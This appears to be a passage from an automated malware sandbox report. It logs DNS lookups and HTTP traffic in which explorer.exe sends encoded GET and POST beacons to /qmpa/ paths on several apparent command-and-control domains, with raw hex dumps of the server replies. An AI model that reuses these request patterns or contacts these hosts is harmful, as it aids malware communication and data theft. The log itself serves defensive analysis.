                                                                      Nov 29, 2022 10:18:25.443312883 CET8.8.8.8192.168.2.40xc60fNo error (0)www.oaksinstitute.net103.11.189.189A (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:33.199367046 CET8.8.8.8192.168.2.40x2fe9No error (0)www.thetrendsinfo.comthetrendsinfo.comCNAME (Canonical name)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:33.199367046 CET8.8.8.8192.168.2.40x2fe9No error (0)thetrendsinfo.com68.66.216.12A (IP address)IN (0x0001)false

                                                                      HTTP Request Dependency Graph

                                                                      • www.notarpucarhr.com
                                                                      • www.multimediapages.com
                                                                      • www.oaksinstitute.net

                                                                      HTTP Packets

                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                      0192.168.2.449698141.136.43.22980C:\Windows\explorer.exe
                                                                      TimestampkBytes transferredDirectionData
                                                                      Nov 29, 2022 10:18:12.132653952 CET101OUTGET /qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1
                                                                      Host: www.notarpucarhr.com
                                                                      Connection: close
                                                                      Data Raw: 00 00 00 00 00 00 00
                                                                      Data Ascii:
                                                                      Nov 29, 2022 10:18:12.166218996 CET102INHTTP/1.1 200 OK
                                                                      Date: Tue, 29 Nov 2022 09:18:12 GMT
                                                                      Content-Type: text/html
                                                                      Transfer-Encoding: chunked
                                                                      Connection: close
                                                                      Server: imunify360-webshield/1.18
                                                                      Last-Modified: Tuesday, 29-Nov-2022 09:18:12 GMT
                                                                      Cache-Control: private, no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0
                                                                      cf-edge-cache: no-cache
                                                                      Data Raw: 35 36 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 3c 74 69 74 6c 65 3e 4f 6e 65 20 6d 6f 6d 65 6e 74 2c 20 70 6c 65 61 73 65 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 36 46 37 46 38 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 30 33 31 33 31 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 35 76 68 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 6c 65 61 73 65 20 77 61 69 74 20 77 68 69 6c 65 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 69 73 20 62 65 69 6e 67 20 76 65 72 69 66 69 65 64 2e 2e 2e 3c 2f 68 31 3e 0a 3c 66 6f 72 6d 20 69 64 3d 22 77 73 69 64 63 68 6b 2d 66 6f 72 6d 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 20 61 63 74 69 6f 6e 3d 22 2f 7a 30 66 37 36 61 31 64 31 34 66 64 32 31 61 38 66 62 35 66 64 30 64 30 33 65 30 66 64 63 33 64 33 63 65 64 61 65 35 32 66 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 77 73 69 64 63 68 6b 22 20 6e 61 6d 65 3d 22 77 73 69 64 63 68 6b 22 2f 3e 0a 3c 2f 66 6f 72 6d 3e 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 76 61 72 20 77 65 73 74 3d 2b 28 28 2b 21 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 29 2c 0a 20 20 20 20 20 20 20 20 65 61 73 74 3d 2b 28 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b
                                                                      Data Ascii: 56a<!doctype html><html><head><meta charset="utf-8"><meta name="robots" content="noindex, nofollow"><title>One moment, please...</title><style>body { background: #F6F7F8; color: #303131; font-family: sans-serif; margin-top: 45vh; text-align: center;}</style></head><body><h1>Please wait while your request is being verified...</h1><form id="wsidchk-form" style="display:none;" action="/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f" method="get"><input type="hidden" id="wsidchk" name="wsidchk"/></form><script>(function(){ var west=+((+!+[])+(+!+[]+!![]+[])+(+!+[])+(+!+[]+!![]+!![]+[])+(+![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+[])), east=+((+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+![]+[])+(+![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+[])+
                                                                      Nov 29, 2022 10:18:12.166239977 CET102INData Raw: 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 29 2c 0a 20 20 20 20 20 20 20 20 78 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 21 21 77 69 6e
                                                                      Data Ascii: (+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])), x=function(){try{return !!window.addEventListener;}catch(e){return !!0;} }, y=function(y,z){x() ? document.addEventListener("DOMContentLoaded",y,z) : document.attachEvent("onreadysta
                                                                      Nov 29, 2022 10:18:12.166260958 CET102INData Raw: 30 0d 0a 0d 0a
                                                                      Data Ascii: 0


                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                      1192.168.2.44969938.239.92.13180C:\Windows\explorer.exe
                                                                      TimestampkBytes transferredDirectionData
                                                                      Nov 29, 2022 10:18:17.714528084 CET104OUTPOST /qmpa/ HTTP/1.1
                                                                      Host: www.multimediapages.com
                                                                      Connection: close
                                                                      Content-Length: 188
                                                                      Cache-Control: no-cache
                                                                      Origin: http://www.multimediapages.com
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                      Content-Type: application/x-www-form-urlencoded
                                                                      Accept: */*
                                                                      Referer: http://www.multimediapages.com/qmpa/
                                                                      Accept-Language: en-US
                                                                      Accept-Encoding: gzip, deflate
                                                                      Data Raw: 6d 52 68 34 6c 72 3d 6d 63 4c 7a 7a 6c 6c 51 57 77 75 6a 4d 66 4c 6f 52 70 77 35 65 38 31 69 78 38 6d 58 62 51 5a 4c 73 6e 4b 42 38 44 67 6b 55 49 61 68 7a 49 4e 62 6e 6d 30 59 79 36 4e 37 54 33 76 33 72 6d 6a 76 4f 51 46 68 31 6d 33 6f 76 73 4f 62 52 57 69 70 78 6d 37 42 4a 65 6d 4c 79 44 61 4f 34 47 6a 5a 70 43 75 66 75 35 76 6e 6c 6f 37 78 30 70 79 2d 46 48 63 41 49 30 37 47 71 70 72 4a 54 36 4c 38 55 5f 45 6e 51 5f 28 48 66 38 64 59 50 71 62 30 78 31 7e 62 55 79 6f 4b 33 4e 37 6e 65 30 72 50 59 77 58 4c 45 4f 6b 50 39 51 71 56 47 51 6c 44 6f 77 29 2e 00 00 00 00 00 00 00 00
                                                                      Data Ascii: mRh4lr=mcLzzllQWwujMfLoRpw5e81ix8mXbQZLsnKB8DgkUIahzINbnm0Yy6N7T3v3rmjvOQFh1m3ovsObRWipxm7BJemLyDaO4GjZpCufu5vnlo7x0py-FHcAI07GqprJT6L8U_EnQ_(Hf8dYPqb0x1~bUyoK3N7ne0rPYwXLEOkP9QqVGQlDow).
                                                                      Nov 29, 2022 10:18:17.976200104 CET105INHTTP/1.1 403 Forbidden
                                                                      Server: nginx
                                                                      Date: Tue, 29 Nov 2022 09:18:17 GMT
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Transfer-Encoding: chunked
                                                                      Connection: close
                                                                      Vary: Accept-Encoding
                                                                      Content-Encoding: gzip
                                                                      Data Raw: 33 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 54 5b 6f 1a 47 14 7e f7 af 98 ee 93 fd 00 03 8e 23 b9 74 d9 0a 1b 24 23 d9 8d 9b 90 56 7e 24 5c cc b6 c0 a2 65 12 5a 45 91 c0 89 0b 98 8b 89 8d 9d d8 59 9a d8 b2 1b d7 4e 16 47 69 31 e1 52 ff 97 64 67 76 79 f2 5f e8 59 96 52 b9 aa f2 b0 b3 3b 73 ce 9c ef 9c ef 3b 67 f9 2f bc b7 e6 03 2b cb 3e b4 10 58 5a 44 cb 77 e7 16 fd f3 88 b3 61 fc fd 8d 79 8c bd 01 af 65 98 b1 3b 9c 18 fb be e1 10 17 23 24 e5 c2 38 93 c9 d8 33 37 ec 92 bc 8a 03 b7 71 8c 24 e2 33 38 4d 64 31 44 ec 61 12 e6 84 09 de 8c 28 f0 0b 3e 8f 57 e0 03 fe c0 a2 4f 60 6b 27 4c 39 35 0e cf 58 b5 c0 1a 8f d9 cb 63 5d 29 19 cd e3 c1 c1 9f 3c b6 5c 26 f8 25 5f c0 03 a0 81 65 9b ef db bb fe ef dc dc bc 94 24 91 24 b1 05 7e 4e 45 38 34 da b9 39 12 f9 89 0c 71 bf 42 a1 58 50 4e 47 88 fb 3e 89 da 66 4d e8 3b 81 95 45 1f 22 70 61 e4 17 4a a7 e1 1c a1 b9 5b de 15 f4 10 45 21 a4 0b 7d 99 22 d8 39 9d 22 88 aa 25 ad bf 8d 1e 81 c3 82 73 6c 36 4d d8 79 f3 3f f6 e9 cf 5e f7 b8 e2 62 f2 47 70 09 49 71 49 76 21 39 12 1e 86 f5 b8 1e 88 69 91 c0 6e 6c 4a 04 65 49 4a 82 95 c7 c3 74 21 6d 6c 91 65 26 09 94 79 e6 a0 86 8c 18 26 31 f7 4d 87 03 dd 93 e4 70 44 76 3b 50 28 12 8f a7 53 c1 90 98 5c 75 3b 1d e0 78 1b 1e 2f 5c 8f 39 3f cf 30 d8 27 40 02 ad 5d a1 eb 17 f4 28 af f5 2f f5 fa 09 2b 66 d9 66 4d fb eb 85 be ff 84 e6 df b2 8a 3a d6 45 7f a1 d2 fe 0e 2b ec 82 40 60 05 c9 06 7b b5 4f d9 35 80 92 01 2f 25 18 cd 0b 7a de 30 9a 3b 5a f7 58 6b 97 d8 76 45 eb 2b 57 bd 7d 1e a7 c0 7e 3f 0e 4b 5c 14 e8 6f 6b ec 57 05 90 0d f5 48 6b 77 8c fc 29 bd 78 47 3b 75 50 de 78 dc a7 47 2f ff 17 70 d0 38 bc ea 95 01 41 6b 57 f5 fe 53 fd 6c 4f 57 0f f4 da 2f f4 e9 73 23 57 d7 df 77 21 11 1e 43 78 0b a3 b2 43 f3 5d 3e 88 62 72 24 ea e6 7e 08 3e 08 a6 43 b2 98 22 ae b8 14 0a 12 51 4a da e5 48 5c 0a 86 27 a7 38 81 16 2e d8 ee 39 8f 83 02 2b 17 07 5b 2a e0 d0 0f 2d 8b 0e ba de d2 ba bb 16 11 83 7c 05 6a fb 17 07 0f 2b 8a 4d 0b 66 7b a2 41 7d cf 68 36 d1 8c c3 69 77 22 1b 82 ce d6 bb 9b 56 67 03 05 86 7a 39 78 a6 ea f5 77 5a a7 3a a2 f5 d9 2b b6 53 30 bb bf b4 a5 77 1b 66 d8 7b b2 e0 87 e6 96 93 11 82 b4 cb 03 96 6b 32 a5 42 37 0e d0 a4 df 7f 67 8a c7 00 35 e6 9a 6d 64 99 d2 b4 bc ae 7a 05 20 d2 3a 61 f5 26 2b e7 b4 4e 07 88 b1 84 bc ea 15 af 0b 60 f4 df d0 c2 39 1a b3 33 1a e1 55 c9 9e 10 43 b2 94 96 a2 c4 1e 92 12 38 9a 31 bb 17 7f 6d ae 62 d8 3d eb 9c 75 70 c2 d2 3f 2e 48 eb bc a6 db 39 0b cf ca d3 a4 10 98 63 35 45 ff e3 90 96 d7 59 e9 cd c7 ac 62 b2 f3 31 db a0 5b 65 d8 00 3d f0 6d 76 cf ab fc e0 f0 f9 35 d1 58 71 9b f6 b2 e0 04 d5 22 da 56 e9 c6 ef e0 0b c5 d1 cd 26 55 4e 90 79 3c 12 7d ef 04 4d 8a 40 53 62 55 9e 42 5a fb ad 45 2f 54 0a da e9 4f 5a b4 56 b5 92 b0 50 80 1c 88 6a 74 ce b4 6e 7f 70 0a 4d 94 83 b8 9f b2 b0 2a d6 45 56 7d 4d 0b ad 71 92 74 fd 3d c8 64 36 a6 ba af 7d 28 5a ca b2 56 01 04 b1 92 d7 da dd 6b c9 0f 3b 01 06 16 e6 0e 16 18 40 3c 1c 57 78 5b c3 8b 87 3f bf 89 bf 01 aa 73 b5 6f 5f 05 00 00 0d 0a 30 0d 0a 0d 0a
                                                                      Data Ascii: 3cc}T[oG~#t$#V~$\eZEYNGi1Rdgvy_YR;s;g/+>XZDwaye;#$837q$38Md1Da(>WO`k'L95Xc])<\&%_e$$~NE849qBXPNG>fM;E"paJ[E!}"9"%sl6My?^bGpIqIv!9inlJeIJt!mle&y&1MpDv;P(S\u;x/\9?0'@](/+ffM:E+@`{O5/%z0;ZXkvE+W}~?K\okWHkw)xG;uPxG/p8AkWSlOW/s#Ww!CxC]>br$~>C"QJH\'8.9+[*-|j+Mf{A}h6iw"Vgz9xwZ:+S0wf{k2B7g5mdz :a&+N`93UC81mb=up?.H9c5EYb1[e=mv5Xq"V&UNy<}M@SbUBZE/TOZVPjtnpM*EV}Mqt=d6}(ZVk;@<Wx[?so_0


                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                      2192.168.2.44970038.239.92.13180C:\Windows\explorer.exe
                                                                      TimestampkBytes transferredDirectionData
                                                                      Nov 29, 2022 10:18:19.991839886 CET106OUTGET /qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1
                                                                      Host: www.multimediapages.com
                                                                      Connection: close
                                                                      Data Raw: 00 00 00 00 00 00 00
                                                                      Data Ascii:
                                                                      Nov 29, 2022 10:18:20.253719091 CET107INHTTP/1.1 403 Forbidden
                                                                      Server: nginx
                                                                      Date: Tue, 29 Nov 2022 09:18:20 GMT
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Transfer-Encoding: chunked
                                                                      Connection: close
                                                                      Vary: Accept-Encoding
                                                                      Data Raw: 35 35 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e e6 82 a8 e6 9c aa e8 a2 ab e6 8e 88 e6 9d 83 e6 9f a5 e7 9c 8b e8 af a5 e9 a1 b5 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 32 70 74 2f 31 35 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0a 3c 2f 53 54 59 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0a 3c 68 31 3e e6 82 a8 e6 9c aa e8 a2 ab e6 8e 88 e6 9d 83 e6 9f a5 e7 9c 8b e8 af a5 e9 a1 b5 3c 2f 68 31 3e 0a e6 82 a8 e4 b8 8d e5 85 b7 e5 a4 87 e4 bd bf e7 94 a8 e6 89 80 e6 8f 90 e4 be 9b e7 9a 84 e5 87 ad e6 8d ae e6 9f a5 e7 9c 8b e8 af a5 e7 9b ae e5 bd 95 e6 88 96 e9 a1 b5 e7 9a 84 e6 9d 83 e9 99 90 e3 80 82 0a 3c 68 72 3e 0a 3c 70 3e e8 af b7 e5 b0 9d e8 af 95 e4 bb a5 e4 b8 8b e6 93 8d e4 bd 9c ef bc 9a 3c 2f 70 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e e5 a6 82 e6 9e 9c e6 82 a8 e8 ae a4 e4 b8 ba e8 87 aa e5 b7 b1 e5 ba 94 e8 af a5 e8 83 bd e5 a4 9f e6 9f a5 e7 9c 8b e8 af a5 e7 9b ae e5 bd 95 e6 88 96 e9 a1 b5 e9 9d a2 ef bc 8c e8 af b7 e4 b8 8e e7 bd 91 e7 ab 99 e7 ae a1 e7 90 86 e5 91 98 e8 81 94 e7 b3 bb e3 80 82 3c 2f 6c 69 3e 0a 3c 6c 69 3e e5 8d 95 e5 87 bb 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 22 3e e5 88 b7 e6 96 b0 3c 2f 61 3e e6 8c 89 e9 92 ae ef bc 8c e5 b9 b6 e4 bd bf e7 94 a8 e5 85 b6 e4 bb 96 e5 87 ad e6 8d ae e9 87 8d e8 af 95 e3 80 82 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 68 32 3e 48 54 54 50 20 e9 94 99 e8 af af 20 34 30 31 2e 31 20 2d 20 e6 9c aa e7 bb 8f e6 8e 88 e6 9d 83 ef bc 9a e8 ae bf e9 97 ae e7 94 b1 e4 ba 8e e5 87 ad e6 8d ae e6 97 a0 e6 95 88 e8 a2 ab e6 8b 92 e7 bb 9d e3 80 82 3c 62 72 3e 49 6e 74 65 72 6e 65 74 20 e4 bf a1 e6 81 af e6 9c 8d e5 8a a1 20 28 49 49 53 29 3c 2f 68 32 3e 0a 3c 68 72 3e 0a 3c 70 3e e6 8a 80 e6 9c af e4 bf a1 e6 81 af ef bc 88 e4 b8 ba e6 8a 80 e6 9c af e6 94 af e6 8c 81 e4 ba ba e5 91 98 e6 8f 90 e4 be 9b ef bc 89 3c 2f 70 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e e8 bd ac e5 88 b0 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6f 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 77 6c 69 6e 6b 2f 3f 6c 69 6e 6b 69 64 3d 38 31 38 30 22 3e 4d 69 63 72 6f 73 6f 66 74 20 e4 ba a7 e5 93 81 e6 94 af e6 8c 81 e6 9c 8d e5 8a a1 3c 2f 61 3e e5 b9
                                                                      Data Ascii: 55f<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE></TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=utf-8"><STYLE type="text/css"> BODY { font: 9pt/12pt } H1 { font: 12pt/15pt } H2 { font: 9pt/12pt } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD><h1></h1><hr><p></p><ul><li></li><li><a href="javascript:location.reload()"></a></li></ul><h2>HTTP 401.1 - <br>Internet (IIS)</h2><hr><p></p><ul><li> <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft </a>
                                                                      Nov 29, 2022 10:18:20.253741980 CET107INData Raw: b6 e6 90 9c e7 b4 a2 e5 8c 85 e6 8b ac e2 80 9c 48 54 54 50 e2 80 9d e5 92 8c e2 80 9c 34 30 31 e2 80 9d e7 9a 84 e6 a0 87 e9 a2 98 e3 80 82 3c 2f 6c 69 3e 0a 3c 6c 69 3e e6 89 93 e5 bc 80 e2 80 9c 49 49 53 20 e5 b8 ae e5 8a a9 e2 80 9d ef bc 88
                                                                      Data Ascii: HTTP401</li><li>IIS IIS (inetmgr) </li><


                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                      3192.168.2.449701103.11.189.18980C:\Windows\explorer.exe
                                                                      TimestampkBytes transferredDirectionData
                                                                      Nov 29, 2022 10:18:25.637303114 CET109OUTPOST /qmpa/ HTTP/1.1
                                                                      Host: www.oaksinstitute.net
                                                                      Connection: close
                                                                      Content-Length: 188
                                                                      Cache-Control: no-cache
                                                                      Origin: http://www.oaksinstitute.net
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                      Content-Type: application/x-www-form-urlencoded
                                                                      Accept: */*
                                                                      Referer: http://www.oaksinstitute.net/qmpa/
                                                                      Accept-Language: en-US
                                                                      Accept-Encoding: gzip, deflate
                                                                      Data Raw: 6d 52 68 34 6c 72 3d 30 61 48 4d 32 53 52 43 32 57 74 51 34 71 63 70 31 61 68 6c 38 43 63 78 6f 4f 6a 79 36 71 30 6a 28 53 62 46 31 42 42 5a 37 53 32 58 54 6c 79 6e 37 48 64 32 67 63 61 5a 4f 6f 7e 34 36 44 61 42 57 6c 52 4d 54 49 42 67 36 41 41 75 45 43 4b 33 5a 37 36 6e 62 45 53 67 34 30 67 31 35 7a 74 4b 74 6e 7a 76 4e 6f 42 6c 4f 45 53 30 6d 46 45 5a 56 59 47 65 6d 57 70 67 4c 65 42 6a 65 2d 62 39 76 71 50 59 42 50 7e 34 38 4a 48 50 49 6b 69 73 6c 63 62 4f 74 44 6d 64 62 6f 73 59 6a 61 55 64 70 58 71 63 33 32 77 72 35 74 69 53 7a 77 41 50 6b 77 29 2e 00 00 00 00 00 00 00 00
                                                                      Data Ascii: mRh4lr=0aHM2SRC2WtQ4qcp1ahl8CcxoOjy6q0j(SbF1BBZ7S2XTlyn7Hd2gcaZOo~46DaBWlRMTIBg6AAuECK3Z76nbESg40g15ztKtnzvNoBlOES0mFEZVYGemWpgLeBje-b9vqPYBP~48JHPIkislcbOtDmdbosYjaUdpXqc32wr5tiSzwAPkw).
                                                                      Nov 29, 2022 10:18:25.818844080 CET109INHTTP/1.1 200 OK
                                                                      Date: Tue, 29 Nov 2022 09:18:25 GMT
                                                                      Server: Apache
                                                                      X-Powered-By: PHP/5.6.40
                                                                      Connection: close
                                                                      Transfer-Encoding: chunked
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 32 39 61 0d 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 3e 0a 09 3c 74 72 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 09 09 3c 74 64 20 69 64 3d 22 6e 65 77 2d 62 6f 78 22 3e 3c 68 33 3e 2a 2e 6e 65 74 20 69 73 20 61 20 72 65 67 69 73 74 65 72 65 64 20 64 6f 6d 61 69 6e 2e 3c 62 72 3e 0a 09 09 54 68 69 73 20 69 73 20 61 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 66 6f 72 20 74 68 65 20 77 65 62 73 69 74 65 2e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 74 72 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 09 09 3c 74 64 3e 49 66 20 79 6f 75 20 77 6f 75 6c 64 20 6c 69 6b 65 20 74 6f 20 3c 73 74 72 6f 6e 67 3e 68 6f 73 74 20 61 20 77 65 62 73 69 74 65 3c 2f 73 74 72 6f 6e 67 3e 20 2f 20 3c 73 74 72 6f 6e 67 3e 6f 62 74 61 69 6e 20 61 20 70 65 72 73 6f 6e 61 6c 69 73 65 64 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 3c 2f 73 74 72 6f 6e 67 3e 20 2f 20 3c 73 74 72 6f 6e 67 3e 6c 69 6e 6b 20 75 70 20 74 6f 20 47 6f 6f 67 6c 65 20 61 70 70 73 3c 2f 73 74 72 6f 6e 67 3e 2e 20 44 6f 20 67 65 74 20 69 6e 20 74 6f 75 63 68 20 77 69 74 68 20 75 73 2e 3c 62 72 3e 0a 09 09 20 56 6f 64 69 65 6e 20 6f 66 66 65 72 73 20 53 69 6e 67 61 70 6f 72 65 20 68 6f 73 74 65 64 20 73 65 72 76 65 72 73 20 66 6f 72 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 76 6f 64 69 65 6e 2e 63 6f 6d 2f 22 3e 53 69 6e 67 61 70 6f 72 65 20 57 65 62 20 48 6f 73 74 69 6e 67 3c 2f 61 3e 20 61 6e 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 76 6f 64 69 65 6e 2e 63 6f 6d 2f 73 69 6e 67 61 70 6f 72 65 2d 65 6d 61 69 6c 2d 68 6f 73 74 69 6e 67 2e 70 68 70 22 3e 53 69 6e 67 61 70 6f 72 65 20 45 6d 61 69 6c 20 48 6f 73 74 69 6e 67 3c 2f 61 3e 20 73 65 72 76 69 63 65 73 2e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 0a 0d 0a
